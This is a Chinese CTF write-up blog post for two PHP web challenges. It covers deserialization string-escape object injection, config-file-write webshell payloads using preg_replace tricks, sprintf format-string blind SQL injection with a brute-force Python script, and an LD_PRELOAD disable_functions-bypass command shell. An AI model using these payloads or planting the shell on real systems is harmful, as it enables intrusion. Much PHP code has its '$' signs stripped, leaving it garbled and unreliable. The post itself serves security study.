3rsh1
/single dog/college student/ctfer
3rsh1's Blog

[安恒4月赛]wp

web两道,只做了第一道。我太菜了。

ezserialize

这道题也是发现了相关的资料才搞出来的,果然相关知识积累还是不够。

相关知识

考察的是php字符串逃逸导致的对象注入。对于此道题目产生此漏洞的原因是因为过滤函数放在了serialize序列化之后。
php有以下特性:
1. 在序列化字符串中字段是以;结尾的,而整个序列化字符串是以}结尾的。
2. php序列化时对类中不存在的属性也会进行序列化。
直接上代码:

<?php
function filter(sourcekey){takekey=str_replace('b','zz',sourcekey);
    returntakekey;
}
a='hahaha';b='xixixib';
c=array(a,b);
#var_dump(c);
echo serialize(c)."\n";//a:2:{i:0;s:6:"hahaha";i:1;s:7:"xixixib";}
echo filter(serialize(c))."\n";//a:2:{i:0;s:6:"hahaha";i:1;s:7:"xixixizz";}
var_dump(unserialize(filter(serialize($c))));//报错:bool(false)

以上我们可以看出,因为替换了字符串以致最后过滤的序列化字符串第二个字段值的数量并不正确,所以报错,无法进行反序列化。我们可以看出,反序列化对准确性是有一定的要求的。
但是如果我们可以利用其溢出的特性,精心构造a,b的值:

<?php
function filter(sourcekey){takekey=str_replace('b','zz',sourcekey);
    returntakekey;
}
a='hahahabbbbbbbbbbbbbbbbbbbb'.'";i:1;s:6:"123456";}';b='xixixib';
c=array(a,b);
echo filter(serialize(c));//a:2:{i:0;s:46:"hahahazzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz";i:1;s:6:"123456";}";i:1;s:7:"xixixizz";}
var_dump(unserialize(filter(serialize($c))));
/*array(2) {
  [0]=>
  string(46) "hahahazzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz"
  [1]=>
  string(6) "123456"
}
*/
?>

我们会发现反序列化之后,得出来的数组的第二个值变成了123456
现在我们会过来再分析一下:{i:0;s:46:"hahahazzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz";i:1;s:6:"123456";}";i:1;s:7:"xixixizz";}这是经过过滤函数的字符串,因为是序列化之后的字符串再进行过滤,所以第一个字段值的长度并不准确。但是在反序列化时依旧会按照其长度来读取字符串,并粗略判断长度字符串之后是不是";,如果是的话,就可能认为这个序列化字符串是准确的。因此,我们需要保证第一个字段的准确性。在读取到第46个字符串的之后,即读取到最后一个z,恰巧碰到了我们构造的";,认为当前字段结束,继续反序列化下一个字段,即我们构造的字段,最后读取到第二个}反序列化结束。后面的";i:1;s:7:"xixixizz";}被忽略。
至此,对象属性注入成功。

相关实例

joomla3.0.0-3.4.6 对象注入导致的反序列化,以下为参考别人的简易化核心漏洞代码:

<?php
class evil{
    public cmd;

    public function __construct(cmd){
        this->cmd =cmd;
    }

    public function __destruct(){
        system(this->cmd);
    }
}

class User
{
    publicusername;
    public password;

    public function __construct(username, password){this->username = username;this->password = password;
    }

}

function write(data){
    data = str_replace(chr(0).'*'.chr(0), '\0\0\0',data);
    file_put_contents("dbs.txt", data);
}

function read(){data = file_get_contents("dbs.txt");
    r = str_replace('\0\0\0', chr(0).'*'.chr(0),data);
    return r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
password = "A";payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; shellcode=password.payload; write(serialize(new User(username, $shellcode))); var_dump(unserialize(read()));

这里我们需要注意的地方:read()函数和evil类。因为我们的目的是让他在反序列化的时候反序列化我们构造的属性或者对象。所以我们需要把关注点放在read()函数上。

<?php
data="\\0\\0\\0";
echo strlen(data);//6
r = str_replace('\0\0\0', chr(0).'*'.chr(0),data);
echo strlen($r);//3
echo strlen("\\0");//2

chr(0)是null,即十六进制的\x00所以长度为1。\0是两个字符故长度为2。因此我们可以看到,在经过read()函数后长度会变短。因此参考上面的内容,以上内容是将序列化字符串变长导致部分字符串溢出,构造的payload在第一个字段部分。
因此在此处我们考虑,是否可以把payload放在第二个字段的部分,当第一个字段长度变小之后,会吞掉部分后面的字符串。若是吞掉字符串之后,剩下的部分是一个完整的序列化字符串的准确值的话,即可实现注入。

构造的payload已经在上方的代码里给出了。
我们要吞掉的是";s:8:"password":s:4:",

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_8a614e63a57568507554e06ee81d1b48.jpg

因为我们构造的payload也在password字段,所以长度肯定为2位数,故长度应为23位。
吞掉的字符串肯定为3的倍数,可取24,这时需要给吞掉的字符串随便补一位。
因为机制是吞掉原来字符串的一半,所以\0的个数应该为24个,即48个字符。
所以最后的payload:

$username="\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password='A";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';

在这里如果想要通过注入对象来实现反序列化则必须在外部对象内进行注入存在的属性,不能在其外部,否则php将不会进行我们注入恶意对象的反序列化

例如此时因为反序列化读取的时候将会将六位字符\0\0\0替换成三位字符chr(0)*chr(0),因此字符串前面的s肯定是固定的,那么s对应的字符串变少以后将会吞掉其他属性的字符,那么如果我们精心算好吞掉的字符长度,并且能够控制被吞掉属性的内容,那么就能够注入对象,从而反序列化其他类

比如如上所示,此时我们要注入的对象为evil,此时username和password的值我们可控,那么我们可以在username中注入\0,来吞掉password的值。

wp

先贴出来源码:

 <?php
show_source("index.php");
function write(data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0',data);
}

function read(data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0),data); //6位变3位,
}

class A{
    public username;
    publicpassword;
    function __construct(a,b){
        this->username =a;
        this->password =b;
    }
}

class B{
    public b = 'gqy';
    function __destruct(){c = 'a'.this->b;
        echoc;
    }
}

class C{
    public c;
    function __toString(){
        //flag.php
        echo file_get_contents(this->c);
        return 'nice';
    }
}
e=new A(_GET['a'],_GET[b'']);b = unserialize(read(write(serialize($e))));

然后就是基础操作了,直接贴出来payload:

?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

参考链接:

https://www.cnblogs.com/tr1ple/p/11876441.html

剩下的题目会在wp出来之后再继续更新。

babytricks

基础

欠的迟早都是要还的,又来更wp了。突然想到自己做笔记的初衷是什么,一方面是因为看到许多大佬都有博客,自己也想搞一个,或许这样可以变成大佬吧。另一方面是真的没有高中时候的记忆力了,有许多东西看过就忘了。然后就是感觉自己好菜,不知道该怎么学,也不知道会学成什么样子。前几天刚看了web2的wp,然后现在平台复现就关了。早知道就早点复现了,让人头秃。只好云复现一下了。
其实这道题目设计到了sprintf格式化字符串注入的知识点,之前也整理过相关笔记,而且从他给的提示中也可以看出来。其实在做的时候简单的试了一下,但是不知道为啥没试出来,当初也想到了是格式化字符串的漏洞了。
然后还有一点是,p神博客上曾经提过的的写配置漏洞,自己当初也看了一点。想着或许过了第一道坎,第二道坎或许也能过。还是掌握的不好吧,虽然知道知识点,但是理解的不够透彻。
所以接下来就主要看一下p神的写配置漏洞:

0x1基础版

<?php
api = addslashes(_GET['api']);
file = file_get_contents('./option.php');file = preg_replace("/\\\API = '.*';/", "\$API = '{api}';", file);
file_put_contents('./option.php',file);
http://localhost:9090/update.php?api=aaaaa%27;%0aphpinfo();//
http://localhost:9090/update.php?api=aaaaa

这里可以用换行绕过。
因为这里正则表达式的模式并不是/s,也就是说.在匹配字符的时候是不会匹配换行符的。第一个payload中在经过addslashes函数的作用后变成aaaaa\';%0aphpinfo();//并且会被写入文件中。不过显然这个样子是不起作用的,因为一个单引号被转义掉了。第二个payload的作用就是替换掉反斜杠,且因为在匹配的时候.并不会匹配到换行符,也就是说匹配到换行符就结束掉了,然后把aaaaa\'替换为aaaaa,这样的话,下一行的phpinfo();//就会起作用的,完成写shell。

0x2添加了/s修饰符

<?php
api = addslashes(_GET['api']);
file = file_get_contents('./option.php');file = preg_replace("/\\\API = '.*';/s", "\$API = '{api}';", file);
file_put_contents('./option.php',file);
http://localhost:9090/update.php?api=;phpinfo();
http://localhost:9090/update.php?api=$0

第一次写入的时候,写到文件里的内容为:

https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_47ffb3d8cc697f51f5429c8b47fb9a35.jpg

$0或者\n,n为数字。表示的是一种后向引用。
每个这样的引用将被匹配到的第n个捕获子组捕获到的文本替换。
n可以是0-99,\\0和$0代表完整的模式匹配文本。 捕获子组的序号计数方式为:代表捕获子组的左括号从左到右, 从1开始数。

当第二次传入参数的时候,$0匹配到的是整个正则匹配到的内容,因为我们没有设子表达式。然后匹配到的内容再作为值填入到单引号内变成:

https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_f97e2ecf02e9564a3e62f59a2e14abbc.jpg

这样的话,单引号闭合的很好,语句分割的恰当可以实现写shell。
这个方法一样可以攻击剩下几个变种,但有个缺陷是如果配置文件里是define这样还包含其他单引号的语句,将会导致写入的配置文件格式错误,PHP执行报错,熟称的插马插坏了。

0x3基础版非贪婪模式

<?php
api = addslashes(_GET['api']);
file = file_get_contents('./option.php');file = preg_replace("/\\\API = '.*?';/", "\$API = '{api}';", file);
file_put_contents('./option.php',file);

和基础版只是多了非贪婪模式而已,非贪婪模式就是尽可能少的匹配。方法和基础版的方法相同。

0x4单行非贪婪模式

<?php
api = addslashes(_GET['api']);
file = file_get_contents('./option.php');file = preg_replace("/\\\API = '.*?';/s", "\$API = '{api}';", file);
file_put_contents('./option.php',file);

这样的话,方法可以用0x2的方法,也可以0x1的方法:

http://localhost:9090/update.php?api=aaaa%27;phpinfo();//
http://localhost:9090/update.php?api=aaaa

首先传值进入变成aaaa\';phpinfo();//,但是因为匹配的时候是非贪婪模式匹配,所以只匹配到前两个单引号,然后替换的话,也是把aaaa\替换成了aaaa,成功逃逸。

https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_c98981b02dca31ef881575c9b3f244b3.jpg

0x5define基础版

define ( string name , mixedvalue [, bool $case_insensitive = false ] ) : bool

定义一个变量,第一个参数是变量的名字,第二个参数是变量的值。第三个参数如果设置为true,则对大小写不敏感,否则对大小写敏感。

<?php
api = addslashes(_GET['api']);
file = file_get_contents('./option.php');file = preg_replace("/define\('API','.*'\);/", "define('API','{api}');",file);
file_put_contents('./option.php', $file);

方法和0x1的方法一样。

0x6define单行版

<?php
api = addslashes(_GET['api']);
file = file_get_contents('./option.php');file = preg_replace("/define\('API', '.*'\);/s", "define('API', '{api}');",file);
file_put_contents('./option.php', $file);

如果用0x02中的攻击方法,将会导致“插坏”的情况出现,因为引入了无法控制的单引号。
攻击方法:因为preg_replace在替换的时候会吃掉转义符,利用这个特点,即可引入单引号。
直接发送如下请求即可写入phpinfo:

http://localhost:9090/update.php?api=aaa\%27);phpinfo();//

这个方法可以通杀这篇文章里所有的版本(不过需要注意闭合前面的语句,否则会把配置文件插坏),因为不涉及到正则的技巧,只要用到preg_replace就会有这样的问题。

0x7define基础版非贪婪模式

<?php
api = addslashes(_GET['api']);
file = file_get_contents('./option.php');file = preg_replace("/define\('API', '.*?'\);/", "define('API', '{api}');",file);
file_put_contents('./option.php', $file);

可以用0x06的方法(Payload相同),也可以使用0x01中的换行绕过,Payload需要换一下:

http://localhost:9090/update.php?api=aaaaa%27);%0aphpinfo();//
http://localhost:9090/update.php?api=aaaaa

同样也可以用0x08的方法,这种写法漏洞相对最多。

0x8define单行版非贪婪模式

$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*?'\);/s", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);

利用方法:可以用0x06的方法,也可以用0x04的方法,只不过要改下Payload。

http://localhost:9090/update.php?api=aaaa%27);phpinfo();//
http://localhost:9090/update.php?api=aaaa

wp

先看一下关于格式化注入的一个test:

$user='%1$';
$sql1="select * from where username='$user' and password='%s'";
$passwd="heiheihei";
echo sprintf($sql1,$passwd);//select * from where username='nd password='heiheihei'

在这里我们可以看到,单引号被吞掉了,因为$后面的是作为占位数据的类型被引用的,所以单引号会被拿去“用”,但是又匹配不到单引号类型的变量,因此就会变为空。这里不是很清楚为啥a也被吃掉了。
当我们把单引号给吃掉之后,我们会发现第一个单引号和password字段的单引号会构成一对。因此我们就可以构造payload:

select * from where username='nd password='^(ascii(substr((user),1,1))>1)--+'

这里用到了异或的方法,还是很简单的。然后写脚本跑就可以了。引用了某位大佬的脚本如下:

import requests
import time

url = "http://183.129.189.60:10010/"
temp = {}
password = ""
for i in range(1,1000):
    time.sleep(0.06)
    low = 32
    high =128
    mid = (low+high)//2
    while(low<high):
        '''查用户名'''
        payload1 ='^(ascii(substr((user),%d,1))>%d)#' % (i,mid)
        temp = {"user": "%1", "passwd": payload1}

        '''查密码'''
        # payload2 = '^(ascii(substr((passwd),%d,1))>%d)#' % (i,mid)
        # temp={"user":"%1","passwd": payload2}
        r = requests.post(url,data=temp)
        print(low,high,mid,":")
        if "username or password error" in r.text:
            low = mid+1
        else:
            high = mid
        mid =(low+high)//2
    if(mid ==32 or mid ==127):
        break
    password +=chr(mid)
    print(password)
print("password=",password)

然后会跑出来admin的密码如下:

https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_30b813254a570f983b29dd7250e2a11d.jpg

发现登录之后啥都没有,扫一遍后台发现另外一个登录界面,登录发现源码。

<?php
error_reporting(0);
session_save_path('session');
session_start();
require_once './init.php';
if(_SESSION['login']!=1){
    die("<script>window.location.href='./index.php'</script>");
}
if(_GET['shell']){
    shell= addslashes(_GET['shell']);
    file = file_get_contents('./shell.php');file = preg_replace("/\\\shell = '.*';/s", "\$shell = '{shell}';", file);
    file_put_contents('./shell.php',file);
}else{
    echo "set your shell"."<br>";
    chdir("/");
    highlight_file(dirname(__FILE__)."/admin.php");
}
?>

参考上面的基础知识,可以构造payload:

?shell=;@eval(_POST['hack']);
?shell=0

但是貌似有disable_function的过滤,因为连不上shell。
然后又要读好长的文章,好晚了,明天再搞吧。我好南,唉。
参考链接:

https://blog.csdn.net/SopRomeo/article/details/105849403
https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html

看到disable_functions绕过的内容还蛮多了,也挺有趣,准备整理一下。所以wp就先到这里,等到把这块内容搞懂之后再来更wp。

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    cmd =_GET["cmd"];
    out_path =_GET["outpath"];
    evil_cmdline =cmd . " > " . out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " .evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . evil_cmdline);so_path = _GET["sopath"];
    putenv("LD_PRELOAD=" .so_path);

    res = gnupg_init();
    gnupg_seterrormode(res, GNUPG_ERROR_WARNING);
    info = gnupg_keyinfo(res,'your-key-id');
    echo "Key-Info<pre>";
    var_dump(info);
    echo "</pre>";

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents(out_path)) . "</p>"; 

    unlink($out_path);
?>

直接贴出来赵总的shell吧。于此之前,你可能还需要搞一个动态链接库。这个可以参考新更的disable_functions绕过那篇文章。
结束,以上。

发表评论

textsms
account_circle
email

3rsh1's Blog

[安恒4月赛]wp
web两道,只做了第一道。我太菜了。 ezserialize 这道题也是发现了相关的资料才搞出来的,果然相关知识积累还是不够。 相关知识 考察的是php字符串逃逸导致的对象注入。对于此道题目…
扫描二维码继续阅读
2020-04-26